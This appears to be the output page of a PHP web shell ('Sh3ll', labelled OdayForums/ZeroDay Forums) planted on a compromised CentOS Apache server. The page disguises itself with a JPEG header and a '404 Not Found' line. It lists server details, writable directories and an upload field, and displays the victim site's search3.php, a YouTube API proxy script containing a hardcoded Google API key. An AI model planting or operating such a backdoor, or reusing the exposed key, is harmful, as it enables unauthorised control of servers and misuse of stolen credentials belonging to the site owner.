ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/proxy/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/proxy/php/search3.php
<?php
if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')){
    ob_start('ob_gzhandler');
}else{
    ob_start();
}
if (isset($_GET['q']) && isset($_GET['maxResults']) && isset($_GET['mode'])) {
    // Call set_include_path() as needed to point to your client library.
    require_once 'Google/Client.php';
    require_once 'Google/Service/YouTube.php';
    /*
     * Set $DEVELOPER_KEY to the "API key" value from the "Access" tab of the
     * {{ Google Cloud Console }} <{{ https://cloud.google.com/console }}>
     * Please ensure that you have enabled the YouTube Data API for your project.
     */
    $DEVELOPER_KEY = 'AIzaSyD4iJZjyELj8M057E4Fi15nn7uHFFFMiXs';

    $client = new Google_Client();
    $client->setDeveloperKey($DEVELOPER_KEY);
    // Define an object that will be used to make all API requests.
    $youtube = new Google_Service_YouTube($client);

     $mode = trim($_GET['mode']);

    switch($mode){
        default:
            $searchResponse = $youtube->search->listSearch('id,snippet', array(
                'q' => $_GET['q'],
                'type' => 'video',
                'maxResults' => $_GET['maxResults'],
                'videoEmbeddable' => 'true',
                'pageToken' => $_GET['pageToken']
            ));

            foreach ($searchResponse['items'] as $searchResult) {
                $list['title'] = $searchResult['snippet']['title'];
                $list['id_you'] = $searchResult['id']['videoId'];
                $list['img'] = 'http://img.youtube.com/vi/'.$searchResult['id']['videoId'].'/hqdefault.jpg';
                $list2['video_info'][] = $list;
            }
            $list2['nextPageToken'] = $searchResponse['nextPageToken'];
            $list2['prevPageToken'] = $searchResponse['prevPageToken'];
            echo json_encode($list2);
            exit();
            break;
        case 'detail':
            $searchResponse = $youtube->videos->listVideos('contentDetails,snippet', array(
                'id' => $_GET['q']
            ));
            foreach ($searchResponse['items'] as $val) {
                $detail['id_you'] = $val['id'];
                $detail['title'] = $val['snippet']['title'];
                $detail['des'] = $val['snippet']['description'];
                $detail['img'] = 'http://img.youtube.com/vi/' . $detail['id_you'] . '/hqdefault.jpg';
                $detail['cat_youtube'] = $val['snippet']['categoryId'];
                $detail['duration'] = covtime($val['contentDetails']['duration']);
            }
            echo json_encode($detail);
            exit();
            break;
        case 'list_category':
            $url = 'https://www.googleapis.com/youtube/v3/videoCategories?part=snippet&regionCode=VN&key='.$DEVELOPER_KEY;
            $content =  file_get_contents($url);
            $searchResponse = json_decode($content,true);
            foreach($searchResponse['items'] as $val){
                $list['cat_id_you'] = $val['id'];
                $list['cat_title'] = $val['snippet']['title'];
                $list2[] = $list;
            }
            echo json_encode($list2);
            exit();
            break;
        case 'video_in_category':
            $searchResponse = $youtube->search->listSearch('snippet', array(
                'type' => 'video',
                'videoCategoryId' => $_GET['q'],
                'regionCode' => 'VN',
                'maxResults' => $_GET['maxResults'],
                'videoEmbeddable' => 'true',
                'pageToken' => $_GET['pageToken']
            ));
            foreach ($searchResponse['items'] as $searchResult) {
                $list['title'] = $searchResult['snippet']['title'];
                $list['id_you'] = $searchResult['id']['videoId'];
                $list['img'] = 'http://img.youtube.com/vi/'.$searchResult['id']['videoId'].'/hqdefault.jpg';
                $list2['video_info'][] = $list;
            }
            $list2['nextPageToken'] = $searchResponse['nextPageToken'];
            $list2['prevPageToken'] = $searchResponse['prevPageToken'];
            echo json_encode($list2);
            exit();
            break;
        case 'video_related':
            $searchResponse = $youtube->search->listSearch('id,snippet', array(
                'relatedToVideoId' => $_GET['q'],
                'type' => 'video',
                'maxResults' => $_GET['maxResults'],
            ));
            foreach ($searchResponse['items'] as $searchResult) {
                $list['title'] = $searchResult['snippet']['title'];
                $list['id_you'] = $searchResult['id']['videoId'];
                $list['img'] = 'http://img.youtube.com/vi/'.$searchResult['id']['videoId'].'/hqdefault.jpg';
                //$list['duration'] = get_duration($list['id_you']);
                $list2[] = $list;

            }
            echo json_encode($list2);
            exit();
            break;
        case 'get_duration':
            $searchResponse = $youtube->videos->listVideos('contentDetails', array(
                'id' => $_GET['q']
            ));
            foreach ($searchResponse['items'] as $val) {
                $duration = covtime($val['contentDetails']['duration']);
            }
            echo $duration;
            exit();
            break;
    }
}
function get_duration($vid){
    global $youtube;
    $searchResponse = $youtube->videos->listVideos('contentDetails', array(
        'id' => $vid
    ));
    foreach ($searchResponse['items'] as $val) {
        $duration = covtime($val['contentDetails']['duration']);
    }
    return $duration;
}
function covtime($youtube_time) {
    preg_match_all('/(\d+)/',$youtube_time,$parts);

    // Put in zeros if we have less than 3 numbers.
    if (count($parts[0]) == 1) {
        array_unshift($parts[0], "0", "0");
    } elseif (count($parts[0]) == 2) {
        array_unshift($parts[0], "0");
    }

    $sec_init = $parts[0][2];
    $seconds = $sec_init%60;
    $seconds_overflow = floor($sec_init/60);

    $min_init = $parts[0][1] + $seconds_overflow;
    $minutes = ($min_init)%60;
    $minutes_overflow = floor(($min_init)/60);

    $hours = $parts[0][0] + $minutes_overflow;

    if($hours != 0)
        return $hours.':'.$minutes.':'.$seconds;
    else
        return $minutes.':'.$seconds;
}
ob_end_flush();
exit();
?>

ZeroDay Forums Mini